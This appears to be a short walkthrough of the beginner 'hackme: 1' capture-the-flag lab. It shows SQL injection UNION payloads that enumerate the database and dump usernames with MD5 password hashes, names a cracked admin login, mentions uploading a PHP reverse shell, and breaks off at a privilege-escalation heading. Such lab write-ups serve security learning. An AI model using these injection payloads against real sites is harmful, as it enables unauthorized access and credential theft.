HACKME: 1 Walkthrough

‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment.

‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently.

This works better with VirtualBox rather than VMware

hackme: 1

This website uses 'cookies' to give you the best, most relevant experience. Using this website means you're happy with…

Enumeration

More Enumeration…

1. Create an account in the registration page
2. Login with that account
3. & you get this page,

let’s fuzz around,

Let’s inject data,

1’ union select 1,2,3 — -

1’ union select database(),2,3 — -

1' union SELECT schema_name,2,3 FROM information_schema.schemata — -#

1' union SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e),2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE(); — -/

1' UNION SELECT group_concat(USER,”:”,pasword),2,3 FROM users; — -/

user1:5d41402abc4b2a76b9719d911017c592,

user2:6269c4f71a55b24bad0f0267d9be5508,

user3:0f359740bd1cda994f8b55330c86d845,

test:05a671c66aefea124cc08b76ea6d30bb,

superadmin:2386acb2cf356944177746fc92523983,

test1:05a671c66aefea124cc08b76ea6d30bb,

test123:cc03e747a6afbbcbf8be7668acfebee5

Let’s use, superadmin:Uncrackable

• Upload a reverse shell (PHP)

Privilege Escalation